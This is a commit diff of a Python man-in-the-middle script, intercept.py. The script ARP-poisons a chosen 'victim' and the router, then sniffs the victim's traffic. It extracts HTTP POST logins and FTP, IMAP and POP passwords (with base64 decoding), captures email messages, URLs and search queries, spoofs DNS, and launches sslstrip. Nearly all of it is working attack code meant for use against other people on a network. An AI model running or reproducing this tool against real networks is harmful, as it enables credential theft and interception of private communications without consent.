mirror of
https://github.com/DanMcInerney/LANs.py.git
synced 2025-07-15 01:23:49 -07:00
Now catches FTP, IMAP, and POP passwords as well as incoming and outgoing email messages
This commit is contained in:
DanMcInerney
parent
87849a4882
commit
c0da8dc5e0
1 changed files with 427 additions and 253 deletions
602
intercept.py
602
intercept.py
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@ -6,48 +6,28 @@ from scapy.all import *
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conf.verb=0
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#Below is necessary to receive a response to the DHCP packets because we're sending to 255.255.255.255 but receiving from the IP of the DHCP server
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conf.checkIPaddr=0
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import time
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import sys
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import threading
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from threading import Thread
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import argparse
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import sys
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import os
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import signal
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import base64
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from subprocess import *
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#Check if root
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if not os.geteuid()==0:
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sys.exit("\nPlease run as root\n")
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#Create the arguments
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parser = argparse.ArgumentParser()
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parser.add_argument("-u", "--urlspy", help="Show all URLs the victim is browsing minus URLs that end in .jpg, .png, .gif, .css, and .js to make the output much friendlier. Also truncates URLs at 150 characters. Use -uv to print all URLs and without truncation.", action="store_true")
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parser.add_argument("-d", "--dnsspy", help="Show all DNS resquests the victim makes. This has the advantage of showing HTTPS domains which the -u option will not but does not show the full URL the victim is requesting.", action="store_true")
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parser.add_argument("-ip", "--ipaddress", help="Enter IP address of victim and skip the arp ping at the beginning.")
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parser.add_argument("-dn", "--driftnet", help="Open an xterm window with driftnet.", action="store_true")
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parser.add_argument("-ssl", "--sslstrip", help="Open an xterm window with sslstrip and output to sslstrip.txt", action="store_true")
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parser.add_argument("-uv", "--verboseURL", help="Shows all URLs the victim visits", action="store_true")
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parser.add_argument("-d", "--driftnet", help="Open an xterm window with driftnet.", action="store_true")
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parser.add_argument("-s", "--sslstrip", help="Open an xterm window with sslstrip and output to sslstrip.txt", action="store_true")
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parser.add_argument("-v", "--verboseURL", help="Shows all URLs the victim visits", action="store_true")
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parser.add_argument("-dns", "--dnsspoof", help="Spoof DNS responses of a specific domain. Enter domain after this argument")
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parser.add_argument("-p", "--post", help="Print the URL the victim POSTs to, show usernames and passwords in unsecure HTTP POSTs", action="store_true")
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parser.add_argument("-s", "--search", help="Print victim's search queries", action="store_true")
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parser.add_argument("-p", "--post", help="Print the URL the victim POSTs to, show usernames/passwords in unsecure HTTP POSTs, show FTP usernames/passwords", action="store_true")
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parser.add_argument("-w", "--write", help="Write to logfile", action="store_true")
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parser.add_argument("-i", "--interface", help="Choose the interface to use. Default is the first one that shows up in `ip route`")
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args = parser.parse_args()
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# /dev/null, send output from programs so they don't print to screen.
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DN = open(os.devnull, 'w')
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#Find the gateway and use it as the router's info
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ipr = Popen(['ip', 'route'], stdout=PIPE, stderr=DN)
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ipr = ipr.communicate()[0]
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routerRE = re.search('default via ((\d{2,3}\.\d{1,3}\.\d{1,4}\.)\d{1,3}) \w+ (\w[a-zA-Z0-9]\w[a-zA-Z0-9][0-9]?)', ipr)
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routerIP = routerRE.group(1)
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IPprefix = routerRE.group(2)
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if args.interface:
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interface = args.interface
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else:
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interface = routerRE.group(3)
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localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]
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localMAC = get_if_hwaddr(interface)
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#Console colors
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W = '\033[0m' # white (normal)
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R = '\033[31m' # red
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@ -59,73 +39,62 @@ C = '\033[36m' # cyan
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GR = '\033[37m' # gray
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T = '\033[93m' # tan
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print "Checking the DHCP and DNS server addresses...\n"
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dhcp = (Ether(dst='ff:ff:ff:ff:ff:ff')/
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IP(src="0.0.0.0",dst="255.255.255.255")/
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UDP(sport=68,dport=67)/
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BOOTP(chaddr='E3:2E:F4:DD:8R:9A')/
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DHCP(options=[("message-type","discover"),
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("param_req_list",
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chr(DHCPRevOptions["router"][0]),
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chr(DHCPRevOptions["domain"][0]),
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chr(DHCPRevOptions["server_id"][0]),
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chr(DHCPRevOptions["name_server"][0]),
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), "end"]))
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# /dev/null, send output from programs so they don't print to screen.
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oldack = None
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oldload = None
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oldurl = None
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oldhttp = None
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if args.write:
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logger = open('interceptlog.txt', 'w+')
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ans, unans = srp(dhcp, timeout=6, retry=1)
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if ans:
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for s,r in ans:
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DHCPopt = r[0][DHCP].options
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DHCPsrvr = r[0][IP].src
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for x in DHCPopt:
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if 'domain' in x:
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local_domain = x[1]
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pass
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else:
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local_domain = 'None'
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if 'name_server' in x:
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DNSsrvr = x[1]
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else:
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print "No answer to DHCP packet sent to find the DNS server. Setting DNS and DHCP server to router IP.\n"
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DNSsrvr = routerIP
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DHCPsrvr = routerIP
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local_domain = 'None'
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if args.ipaddress:
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victimIP = args.ipaddress
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else:
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ans,unans = arping(IPprefix+'*')
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for s,r in ans:
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ips = r.sprintf("%ARP.hwsrc% %ARP.psrc%")
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print ips
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victimIP = raw_input('\nType victim\'s IP: ')
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print ''
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def originalMAC(ip):
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class Spoof():
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def originalMAC(self, ip):
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# srp is for layer 2 packets with Ether layer, sr is for layer 3 packets like ARP and IP
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ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3)
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for s,r in ans:
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return r.sprintf("%Ether.src%")
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def poison(routerIP, victimIP):
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send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff"))
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send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff"))
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def restore(routerIP, victimIP, routerMAC, victimMAC):
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def poison(self, routerIP, victimIP, routerMAC, victimMAC):
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send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC))
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send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC))
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def restore(self, routerIP, victimIP, routerMAC, victimMAC):
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send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3)
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send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
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def URL(pkt):
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global host, get, post, url
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if pkt.haslayer(Raw) and pkt.haslayer(Ether):
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if pkt[Ether].src == victimMAC:
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pkt = repr(pkt[Raw].load)
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try:
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headers, body = pkt.split(r"\r\n\r\n")
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except:
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headers = pkt
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body = ''
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class Parser():
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headersFound = []
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IMAPauth = 0
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IMAPdest = ''
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POPauth = 0
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POPdest = ''
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def start(self, pkt):
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if pkt.haslayer(Raw) and pkt.haslayer(Ether) and pkt.haslayer(TCP):
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if pkt[Ether].src == victimMAC:
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self.URL(pkt)
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self.mailspy(pkt)
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def URL(self, pkt):
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global oldack, oldload, oldurl, oldhttp
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host = None
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get = None
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post = None
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url = None
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#Split the packet between headers and body and grab the URL from the headers
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ack = pkt[TCP].ack
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pktload = repr(pkt[Raw].load).replace("'", "")
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dport = pkt[TCP].dport
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sport = pkt[TCP].sport
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#If you see any other login variable names, tell me and I'll add em in here
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user_regex = '(([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og|[Ll]ogin[Ii][Dd])=([^&][^&]*))'
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pw_regex = '(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))'
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try:
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headers, body = pktload.split(r"\r\n\r\n")
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except:
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headers = pktload
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body = ''
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header_lines = headers.split(r"\r\n")
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for l in header_lines:
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searchHost = re.search('[Hh]ost: ', l)
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@ -140,57 +109,35 @@ def URL(pkt):
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if searchPost:
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post = l.split(' ')
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post = post[1]
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#If a packet with data is retrasmitted amongst multiple packets this will catch all the split up parts that are lacking in features of a normal packet
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if args.post and len(pkt) < 450:
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if body != '':
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username = re.findall('(([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', body)
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password = re.findall('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', body)
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if username != [] or password != []:
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print T+'[+] Packet may\'ve been split. Load data:',body+W
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for x in username:
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for u in x:
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if '=' in u:
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print R+u+W
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for y in password:
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for p in y:
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if '=' in p:
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print R+p+W
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if not get:
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username = re.findall('(([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', headers)
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password = re.findall('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', headers)
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if username != [] or password != []:
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print T+'[+] Packet may\'ve been split. Load data:',headers+W
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for x in username:
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for u in x:
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if '=' in u:
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print R+u+W
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for y in password:
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for p in y:
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if '=' in p:
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print R+p+W
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if host and get:
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url = host+get
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if host and post:
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url = host+post
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if url == None:
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return
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if args.post and post:
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if body != '':
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print B+'[+] POST:',url,'HTTP POST load:',body+W
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username = re.findall('(([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', body)
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password = re.findall('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', body)
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for x in username:
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for u in x:
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if '=' in u:
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print R+u+W
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for y in password:
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for p in y:
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if '=' in p:
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print R+p+W
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#Catch fragmented packet passwords, and FTP passwords
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if args.post:
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#Catch fragmented packet passwords
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if oldack == ack and oldload and oldhttp == 'post':
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combined_load = oldload + pktload
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print B+'[+] fragmented POST:',oldurl,'HTTP POST load:',body+W
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username = re.findall(user_regex, combined_load)
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password = re.findall(pw_regex, combined_load)
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self.user_pass(username, password)
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#Catch FTP passwords
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if dport == 21:
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load = pktload.replace(r"\r\n", "")
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if 'USER ' in load:
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print R+'FTP '+load+W
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if args.write:
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logger.write('FTP'+load+'\n')
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if 'PASS ' in load:
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print R+'FTP '+load+W
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if args.write:
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logger.write('FTP'+load+'\n')
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#Catch search terms, print url, print post loads
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if url != None:
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#Print the URL
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if args.urlspy:
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d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js']
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if any(i in url for i in d):
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@ -199,48 +146,195 @@ def URL(pkt):
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print url[:149]
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else:
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print url
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if args.verboseURL:
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print url
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if args.search:
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searched = re.search('((search|query|search\?q|\?s|&q|\?q|search\?p|keywords)=([^&][^&]*))', url)
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#Catch search terms
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searched = re.search('((search|query|search\?q|\?s|&q|\?q|search\?p|keywords|command)=([^&][^&]*))', url)
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if searched:
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searched = searched.group(3)
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if 'select%20*%20from' in searched:
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pass
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else:
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searched = searched.replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27', '\'').replace('%40', '@').replace('%24', '$').replace('%3A', ':').replace('%3D', '=').replace('%22', '\"').replace('%24', '$')
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print T + '[+] Searched %s for:' % host,searched + W
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print T+'[+] Searched %s for:' % host,searched+W
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if args.write:
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logger.write('[+] Searched %s for: ' % host+searched+'\n')
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#Print POST load
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if post:
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if 'ocsp.' in url:
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print B+'[+] POST:',url+W
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else:
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print B+'[+] POST:',url,'HTTP POST load:',body+W
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if body != '':
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username = re.findall(user_regex, body)
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password = re.findall(pw_regex, body)
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self.user_pass(username, password)
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oldhttp = 'post'
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oldload = pktload
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oldack = ack
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oldurl = url
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if not post:
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oldhttp = None
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host = None
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get = None
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post = None
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url = None
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def DNSreq(pkt):
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if pkt.haslayer(DNSQR):
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dnsreq = pkt[DNSQR].qname
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print dnsreq
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def user_pass(self, username, password):
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if username:
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for x in username:
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for u in x:
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if '=' in u:
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print R+u+W
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if args.write:
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logger.write(u+'\n')
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if password:
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for y in password:
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for p in y:
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if '=' in p:
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print R+p+W
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if args.write:
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logger.write(p+'\n')
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def mkspoof(DNSpkt):
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ip=DNSpkt[IP]
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dnsLayer=DNSpkt[DNS]
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# qr = query or response (0,1), aa=are the nameservers authoritative? (0,1), ad=authenticated data (0,1)
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p = IP(dst=ip.src, src=ip.dst)/UDP(dport=ip.sport, sport=ip.dport)/DNS(id=dnsLayer.id, qr=1, aa=1, qd=dnsLayer.qd, an=DNSRR(rrname=dnsLayer.qd.qname, ttl=10, rdata=localIP))
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return p
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def mailspy(self, pkt):
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dport = pkt[TCP].dport
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sport = pkt[TCP].sport
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MAC_dst = pkt[Ether].dst
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MAC_src = pkt[Ether].src
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mail_ports = [143, 110, 26]
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if dport in mail_ports or sport in mail_ports:
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load = repr(pkt[Raw].load).replace("'", "")
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try:
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headers, body = load.split(r"\r\n\r\n", 1)
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except:
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headers = load
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body = ''
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header_lines = headers.split(r"\r\n")
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email_headers = ['Date: ', 'Subject: ', 'To: ', 'From: ']
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# Find passwords
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if dport in [110, 143, 26]:
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IP_dst = pkt[IP].dst
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self.passwords(IP_dst, load, dport)
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# Find outgoing messages
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if dport == 26:
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self.outgoing(load, body, header_lines, email_headers, MAC_src)
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# Find incoming msgs
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if MAC_dst == victimMAC:
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if sport in [110, 143]:
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self.incoming(headers, body, header_lines, email_headers)
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class urlspy(threading.Thread):
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def run(self):
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def passwords(self, IP_dst, load, dport):
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if dport == 143:
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if self.IMAPauth == 1 and IP_dst == self.IMAPdest:
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print R+'[!] IMAP user and pass found: '+load+W
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if args.write:
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logger.write('[!] IMAP user and pass found: '+load+'\n')
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self.decode(load, dport)
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self.IMAPauth = 0
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self.IMAPdest = ''
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if "authenticate plain" in load:
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self.IMAPauth = 1
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self.IMAPdest = IP_dst
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if dport == 110:
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if self.POPauth == 1 and IP_dst == self.POPdest:
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print R+'[!] POP user and pass found: '+load+W
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if args.write:
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logger.write('[!] POP user and pass found: '+load+'\n')
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self.decode(load, dport)
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self.POPauth = 0
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self.POPdest = ''
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if "AUTH PLAIN" in load:
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self.POPauth = 1
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self.POPdest = IP_dst
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if dport == 26:
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if 'AUTH PLAIN ' in load:
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print R+'[!] POP authentication found: '+load+W
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if args.write:
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logger.write('[!] POP authentication found: '+load+'\n')
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self.decode(load, dport)
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|
||||
def outgoing(self, headers, body, header_lines, email_headers, MAC_src):
|
||||
if MAC_src == victimMAC:
|
||||
if 'Message-ID' in headers:
|
||||
for l in header_lines:
|
||||
for x in email_headers:
|
||||
if x in l:
|
||||
self.headersFound.append(l)
|
||||
if len(self.headersFound) > 3:
|
||||
print O+'[!] OUTGOING MESSAGE'+W
|
||||
if args.write:
|
||||
logger.write('[!] OUTGOING MESSAGE\n')
|
||||
for x in self.headersFound:
|
||||
print O+' ',x+W
|
||||
if args.write:
|
||||
logger.write(' '+x+'\n')
|
||||
self.headersFound = []
|
||||
if body != '':
|
||||
print O+' Message:',body+W
|
||||
if args.write:
|
||||
logger.write(' Message:'+body+'\n')
|
||||
|
||||
def incoming(self, headers, body, header_lines, email_headers):
|
||||
if 'FETCH' not in headers:
|
||||
for l in header_lines:
|
||||
for x in email_headers:
|
||||
if x in l:
|
||||
self.headersFound.append(l)
|
||||
if len(self.headersFound) > 3:
|
||||
print O+'[!] INCOMING MESSAGE'+W
|
||||
if args.write:
|
||||
logger.write('[!] INCOMING MESSAGE\n')
|
||||
for x in self.headersFound:
|
||||
print O+' '+x+W
|
||||
if args.write:
|
||||
logger.write(' '+x+'\n')
|
||||
self.headersFound = []
|
||||
if body != '':
|
||||
try:
|
||||
beginning = body.split(r"\r\n")[0]
|
||||
message = str(body.split(r"\r\n\r\n", 1)[1:]).replace('[', '', 1)
|
||||
message = message.split(beginning)[0]
|
||||
print O+' Message:', message+W
|
||||
if args.write:
|
||||
logger.write(' Message:'+message+'\n')
|
||||
except:
|
||||
print O+' Couldn\'t format message body:', body+W
|
||||
|
||||
def decode(self, load, dport):
|
||||
if dport == 26:
|
||||
try:
|
||||
b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")
|
||||
b64decode = base64.b64decode(b64str)
|
||||
print R+'[!] Decoded:'+b64decode+W
|
||||
if args.write:
|
||||
logger.write('[!] Decoded: '+b64decode+'\n')
|
||||
except:
|
||||
pass
|
||||
else:
|
||||
try:
|
||||
b64str = load.replace(r"\r\n", "")
|
||||
b64decode = base64.b64decode(b64str)
|
||||
print R+'[!] Decoded:',b64decode+W
|
||||
if args.write:
|
||||
logger.write('[!] Decoded: '+b64decode+'\n')
|
||||
except:
|
||||
pass
|
||||
|
||||
class Threads():
|
||||
|
||||
def urlspy(self, victimIP, interface):
|
||||
# This is in case you need to test the program without an actual victim
|
||||
# sniff(store=0, filter='port 80', prn=URL, iface=interface)
|
||||
sniff(store=0, filter='port 80 and host %s' % victimIP, prn=URL, iface=interface)
|
||||
# sniff(store=0, filter='port 80 or port 21', prn=URL, iface=interface)
|
||||
sniff_filter = '(port 80 or port 21 or port 143 or port 110 or port 26) and host %s' % victimIP
|
||||
sniff(store=0, filter=sniff_filter, prn=Parser().start, iface=interface)
|
||||
|
||||
class dnsspy(threading.Thread):
|
||||
def run(self):
|
||||
sniff(store=0, filter='port 53 and host %s' % victimIP, prn=DNSreq, iface=interface)
|
||||
|
||||
class dnsspoof(threading.Thread):
|
||||
def run(self):
|
||||
def dnsspoof(self, victimIP):
|
||||
while 1:
|
||||
a=sniff(filter='port 53 or port 80 and host %s' % victimIP, count=1, promisc=1)
|
||||
a=sniff(filter='port 53 and host %s' % victimIP, count=1, promisc=1)
|
||||
DNSpkt = a[0]
|
||||
if not DNSpkt.haslayer(DNSQR):
|
||||
continue
|
||||
|
|
@ -248,95 +342,175 @@ class dnsspoof(threading.Thread):
|
|||
send(mkspoof(DNSpkt))
|
||||
print G + '[+] Spoofed:', DNSpkt.qd.qname + W
|
||||
|
||||
class sslstrip(threading.Thread):
|
||||
def run(self):
|
||||
def sslstrip(self, DN):
|
||||
print 'Redirecting traffic to port 10000 and starting sslstrip\n'
|
||||
iptables = ['iptables', '-t', 'nat', '-A', 'PREROUTING', '-p', 'tcp', '--destination-port', '80', '-j', 'REDIRECT', '--to-port', '10000']
|
||||
Popen(iptables, stdout=PIPE, stderr=DN)
|
||||
xterm = ['xterm', '-e', 'sslstrip', '-f', '-w', 'sslstrip.txt']
|
||||
Popen(xterm, stdout=PIPE, stderr=DN)
|
||||
|
||||
class driftnet(threading.Thread):
|
||||
def run(self):
|
||||
def driftnet(self, interface, DN):
|
||||
xterm = ['xterm', '-e', 'driftnet', '-i', '%s' % interface]
|
||||
Popen(xterm, stdout=PIPE, stderr=DN)
|
||||
|
||||
print "[+] Active interface: " + interface
|
||||
print "[+] Local IP: " + localIP
|
||||
print "[+] Interface MAC: " + localMAC
|
||||
print "[+] DHCP server: " + DHCPsrvr
|
||||
print "[+] DNS server: " + DNSsrvr
|
||||
print "[+] Local domain: " + local_domain
|
||||
print "[+] Router IP: " + routerIP
|
||||
print "[+] Client IP: " + victimIP
|
||||
try:
|
||||
routerMAC = originalMAC(routerIP)
|
||||
print "[+] Router MAC: " + routerMAC
|
||||
victimMAC = originalMAC(victimIP)
|
||||
print "[+] Victim MAC: " + victimMAC
|
||||
except:
|
||||
sys.exit("Could not get MAC addresses")
|
||||
ipfwd = Popen(['cat', '/proc/sys/net/ipv4/ip_forward'], stdout=PIPE, stderr=DN)
|
||||
if not ipfwd.communicate()[0] == '1':
|
||||
f = open('/proc/sys/net/ipv4/ip_forward', 'r+')
|
||||
f.write('1')
|
||||
f.close()
|
||||
print '[+] Enabled IP forwarding'
|
||||
Popen(['iptables', '-F'], stdout=PIPE, stderr=DN)
|
||||
Popen(['iptables', '-t', 'nat', '-F'], stdout=PIPE, stderr=DN)
|
||||
Popen(['iptables', '-X'], stdout=PIPE, stderr=DN)
|
||||
Popen(['iptables', '-t', 'nat', '-X'], stdout=PIPE, stderr=DN)
|
||||
print '[+] Flushed the firewall\n'
|
||||
|
||||
def main():
|
||||
|
||||
if args.urlspy or args.verboseURL or args.post or args.search:
|
||||
ug = urlspy()
|
||||
def start_threads(self, victimIP, interface, DN):
|
||||
if args.urlspy or args.verboseURL or args.post:
|
||||
u = Thread(target=self.urlspy, args=(victimIP, interface))
|
||||
#Make sure the thread closes with the main program on Ctrl-C
|
||||
ug.daemon = True
|
||||
ug.start()
|
||||
|
||||
if args.dnsspy:
|
||||
dt = dnsspy()
|
||||
dt.daemon = True
|
||||
dt.start()
|
||||
|
||||
u.daemon = True
|
||||
u.start()
|
||||
if args.driftnet:
|
||||
dr = driftnet()
|
||||
dr = Thread(target=self.driftnet, args=(interface, DN))
|
||||
dr.daemon = True
|
||||
dr.start()
|
||||
|
||||
if args.sslstrip:
|
||||
ssl = sslstrip()
|
||||
ssl = Thread(target=self.sslstrip, args=(DN,))
|
||||
ssl.daemon = True
|
||||
ssl.start()
|
||||
|
||||
if args.dnsspoof:
|
||||
ds = dnsspoof()
|
||||
ds.daemon = True
|
||||
ds.start()
|
||||
dns = Thread(target=self.dnsspoof, args=(victimIP,))
|
||||
dns.daemon = True
|
||||
dns.start()
|
||||
|
||||
def signal_handler(signal, frame):
|
||||
print 'learing iptables, sending healing packets, and turning off IP forwarding...'
|
||||
restore(routerIP, victimIP, routerMAC, victimMAC)
|
||||
restore(routerIP, victimIP, routerMAC, victimMAC)
|
||||
#Print all the variables
|
||||
def print_vars(interface, DHCPsrvr, dnsIP, local_domain, routerIP, victimIP):
|
||||
print "[+] Active interface: " + interface
|
||||
print "[+] DHCP server: " + DHCPsrvr
|
||||
print "[+] DNS server: " + dnsIP
|
||||
print "[+] Local domain: " + local_domain
|
||||
print "[+] Router IP: " + routerIP
|
||||
print "[+] Client IP: " + victimIP
|
||||
|
||||
|
||||
def ip_flush_forward(DN):
|
||||
ipfwd = Popen(['cat', '/proc/sys/net/ipv4/ip_forward'], stdout=PIPE, stderr=DN)
|
||||
if ipfwd.communicate()[0] != '1\n':
|
||||
f = open('/proc/sys/net/ipv4/ip_forward', 'r+')
|
||||
f.write('0')
|
||||
f.write('1\n')
|
||||
f.close()
|
||||
print '[+] Enabled IP forwarding'
|
||||
Popen(['iptables', '-F'], stdout=PIPE, stderr=DN)
|
||||
Popen(['iptables', '-t', 'nat', '-F'], stdout=PIPE, stderr=DN)
|
||||
Popen(['iptables', '-X'], stdout=PIPE, stderr=DN)
|
||||
Popen(['iptables', '-t', 'nat', '-X'], stdout=PIPE, stderr=DN)
|
||||
sys.exit(0)
|
||||
print '[+] Flushed the firewall\n'
|
||||
|
||||
def main():
|
||||
#For use in URL_cb, mailspy respectively
|
||||
global victimMAC, victimIP
|
||||
|
||||
#Check if root
|
||||
if not os.geteuid()==0:
|
||||
sys.exit("\nPlease run as root\n")
|
||||
|
||||
DN = open(os.devnull, 'w')
|
||||
|
||||
if args.ipaddress:
|
||||
victimIP = args.ipaddress
|
||||
else:
|
||||
ans,unans = arping(IPprefix+'*')
|
||||
for s,r in ans:
|
||||
ips = r.sprintf("%ARP.hwsrc% %ARP.psrc%")
|
||||
print ips
|
||||
victimIP = raw_input('\nType victim\'s IP: ')
|
||||
print ''
|
||||
|
||||
#Find the gateway and interface
|
||||
ipr = Popen(['ip', 'route'], stdout=PIPE, stderr=DN)
|
||||
ipr = ipr.communicate()[0]
|
||||
routerRE = re.search('default via ((\d{2,3}\.\d{1,3}\.\d{1,4}\.)\d{1,3}) \w+ (\w[a-zA-Z0-9]\w[a-zA-Z0-9][0-9]?)', ipr)
|
||||
routerIP = routerRE.group(1)
|
||||
IPprefix = routerRE.group(2)
|
||||
if args.interface:
|
||||
interface = args.interface
|
||||
else:
|
||||
interface = routerRE.group(3)
|
||||
|
||||
print "[+] Checking the DHCP and DNS server addresses..."
|
||||
dhcp = (Ether(dst='ff:ff:ff:ff:ff:ff')/
|
||||
IP(src="0.0.0.0",dst="255.255.255.255")/
|
||||
UDP(sport=68,dport=67)/
|
||||
BOOTP(chaddr='E3:2E:F4:DD:8R:9A')/
|
||||
DHCP(options=[("message-type","discover"),
|
||||
("param_req_list",
|
||||
chr(DHCPRevOptions["router"][0]),
|
||||
chr(DHCPRevOptions["domain"][0]),
|
||||
chr(DHCPRevOptions["server_id"][0]),
|
||||
chr(DHCPRevOptions["name_server"][0]),
|
||||
), "end"]))
|
||||
ans, unans = srp(dhcp, timeout=6, retry=1)
|
||||
if ans:
|
||||
for s,r in ans:
|
||||
DHCPopt = r[0][DHCP].options
|
||||
DHCPsrvr = r[0][IP].src
|
||||
for x in DHCPopt:
|
||||
if 'domain' in x:
|
||||
local_domain = x[1]
|
||||
pass
|
||||
else:
|
||||
local_domain = 'None'
|
||||
if 'name_server' in x:
|
||||
dnsIP = x[1]
|
||||
else:
|
||||
print "[!] No answer to DHCP packet sent to find the DNS server. Setting DNS and DHCP server to router IP."
|
||||
dnsIP = routerIP
|
||||
DHCPsrvr = routerIP
|
||||
local_domain = 'None'
|
||||
|
||||
print_vars(interface, DHCPsrvr, dnsIP, local_domain, routerIP, victimIP)
|
||||
try:
|
||||
routerMAC = Spoof().originalMAC(routerIP)
|
||||
print "[+] Router MAC: " + routerMAC
|
||||
except:
|
||||
sys.exit("[!] Could not get router MAC address")
|
||||
try:
|
||||
victimMAC = Spoof().originalMAC(victimIP)
|
||||
print "[+] Victim MAC: " + victimMAC
|
||||
except:
|
||||
sys.exit("[!] Could not get victim MAC address")
|
||||
if not dnsIP == routerIP:
|
||||
try:
|
||||
dnsMAC = Spoof().originalMAC(dnsIP)
|
||||
print "[+] DNS server MAC: " + dnsMAC
|
||||
except:
|
||||
print "[!] Could not get DNS server MAC address"
|
||||
sys.exit("[!] Could not get victim MAC address")
|
||||
|
||||
ip_flush_forward(DN)
|
||||
|
||||
Threads().start_threads(victimIP, interface, DN)
|
||||
|
||||
def signal_handler(signal, frame):
|
||||
print 'learing iptables, sending healing packets, and turning off IP forwarding...'
|
||||
if args.write:
|
||||
logger.close()
|
||||
if args.dnsspoof:
|
||||
q.unbind(socket.AF_INET)
|
||||
q.close()
|
||||
if not dnsIP == routerIP:
|
||||
Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)
|
||||
Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)
|
||||
Popen(['iptables', '-F'], stdout=PIPE, stderr=DN)
|
||||
Popen(['iptables', '-t', 'nat', '-F'], stdout=PIPE, stderr=DN)
|
||||
Popen(['iptables', '-X'], stdout=PIPE, stderr=DN)
|
||||
Popen(['iptables', '-t', 'nat', '-X'], stdout=PIPE, stderr=DN)
|
||||
Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
|
||||
Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
|
||||
sys.exit(0)
|
||||
signal.signal(signal.SIGINT, signal_handler)
|
||||
|
||||
|
||||
while 1:
|
||||
|
||||
poison(routerIP, victimIP)
|
||||
if not DNSsrvr == routerIP:
|
||||
poison(DNSsrvr, victimIP)
|
||||
Spoof().poison(routerIP, victimIP, routerMAC, victimMAC)
|
||||
if not dnsIP == routerIP:
|
||||
Spoof().poison(dnsIP, victimIP, dnsMAC, victimMAC)
|
||||
time.sleep(1.5)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
|
||||
|
||||
#To do:
|
||||
#use iptables to block dns responses from the router to prevent race condition in dns spoofing
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue